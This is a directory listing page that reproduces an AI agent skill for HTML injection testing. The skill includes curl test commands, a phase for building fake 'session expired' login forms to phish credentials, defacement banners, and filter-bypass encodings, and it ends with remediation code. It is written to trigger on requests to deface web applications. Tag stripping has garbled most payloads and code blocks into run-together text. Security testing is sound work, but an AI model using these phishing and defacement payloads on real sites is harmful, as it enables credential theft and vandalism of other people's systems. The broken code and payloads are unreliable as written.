Basic information
About html-injection-testing
This skill should be used when the user asks to "test for HTML injection", "inject HTML into web pages", "perform HTML injection attacks", "deface web applications", or "test content injection vulnerabilities". It provides comprehensive HTML injection attack techniques and testing methodologies.
html-injection-testing is an agent skill listed in the AddMCP.net directory, published by davila7. Runtime: Python. License: MIT. The repository has 32,933 GitHub stars. Source code is hosted on github.com. Related topics: anthropic, anthropic-claude, claude, claude-code.
Overview
What is html-injection-testing?
name: HTML Injection Testing description: This skill should be used when the user asks to "test for HTML injection", "inject HTML into web pages", "perform HTML injection attacks", "deface web applications", or "test content injection vulnerabilities". It provides comprehensive HTML injection attack techniques and testing methodologies. metadata: author: zebbern version: "1.1"
HTML Injection Testing
Purpose
Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.
Prerequisites
Required Tools
- Web browser with developer tools
- Burp Suite or OWASP ZAP
- Tamper Data or similar proxy
- cURL for testing payloads
Required Knowledge
- HTML fundamentals
- HTTP request/response structure
- Web application input handling
- Difference between HTML injection and XSS
Outputs and Deliverables
- Vulnerability Report - Identified injection points
- Exploitation Proof - Demonstrated content manipulation
- Impact Assessment - Potential phishing and defacement risks
- Remediation Guidance - Input validation recommendations
Core Workflow
Injected Content
Injected Content
Test Injection
Bold Text Italic Text Underlined Text Red TextInjected paragraph
Line breaks Click Here Legitimate Link
```
Testing workflow:
```bash
# Test basic injection
curl "http://target.com/search?q=Test
" # Check if HTML renders in response curl -s "http://target.com/search?q=Bold" | grep -i "bold" # Test in URL-encoded form curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E" ``` ### Phase 4: Types of HTML Injection #### Stored HTML Injection Payload persists in database: ```html Name: John Doe Bio:Site Under Maintenance
Please login at portal.company.com
Welcome%20Admin
http://target.com/search?q=Your%20account%20has%20been%20compromised ``` #### Reflected POST Injection Payload in POST data: ```bash # POST injection test curl -X POST -d "comment=Injected
http://target.com/users//profile ``` ### Phase 5: Phishing Attack Construction Create convincing phishing forms: ```htmlSession Expired
Your session has expired. Please log in again.
Username:Password:
HACKED BY SECURITY TESTER
This site has been compromised
SECURITY VULNERABILITY DETECTED
```
### Phase 7: Advanced Injection Techniques
#### CSS Injection
```html
Test
<h1>Encoded</h1> %3Ch1%3EURL%20Encoded%3C%2Fh1%3E Split TagNull Byte
%253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E \u003ch1\u003eUnicode\u003c/h1\u003eTest
", "Bold", "", "", "Click", "" in response.text or "" in response.text: print(f"[?] Partial reflection: {payload}") except Exception as e: print(f"[-] Error: {e}") ``` ### Phase 10: Prevention and Remediation Secure coding practices: ```php // PHP: Escape output echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8'); // PHP: Strip tags echo strip_tags($user_input); // PHP: Allow specific tags only echo strip_tags($user_input, '
'); ``` ```python # Python: HTML escape from html import escape safe_output = escape(user_input) # Python Flask: Auto-escaping {{ user_input }} # Jinja2 escapes by default {{ user_input | safe }} # Marks as safe (dangerous!) ``` ```javascript // JavaScript: Text content (safe) element.textContent = userInput; // JavaScript: innerHTML (dangerous!) element.innerHTML = userInput; // Vulnerable! // JavaScript: Sanitize const clean = DOMPurify.sanitize(userInput); element.innerHTML = clean; ``` Server-side protections: - Input validation (whitelist allowed characters) - Output encoding (context-aware escaping) - Content Security Policy (CSP) headers - Web Application Firewall (WAF) rules
Quick Reference
Test
` | Basic rendering test | | `Bold` | Simple formatting | | `Link` | Link injection | | `` | Image tag test | | `test
` | | Form field | POST with HTML payload | | Cookie value | Inject via document.cookie | | HTTP header | Inject in Referer/User-Agent | | File upload | HTML file with malicious content | ### Encoding Types | Type | Example | |------|---------| | URL encoding | `%3Ch1%3E` = `` |
| HTML entities | `<h1>` = `` |
| Double encoding | `%253C` = `
Constraints and Limitations
Attack Limitations
- Modern browsers may sanitize some injections
- CSP can prevent inline styles and scripts
- WAFs may block common payloads
- Some applications escape output properly
Testing Considerations
- Distinguish between HTML injection and XSS
- Verify visual impact in browser
- Test in multiple browsers
- Check for stored vs reflected
Severity Assessment
- Lower severity than XSS (no script execution)
- Higher impact when combined with phishing
- Consider defacement/reputation damage
- Evaluate credential theft potential
Troubleshooting
| Issue | Solutions | |-------|-----------| | HTML not rendering | Check if output HTML-encoded; try encoding variations; verify HTML context | | Payload stripped | Use encoding variations; try tag splitting; test null bytes; nested tags | | XSS not working (HTML only) | JS filtered but HTML allowed; leverage phishing forms, meta refresh redirects |
Comments
No comments yet
Be the first to share feedback about this listing. Sign in to leave a comment.
Sign In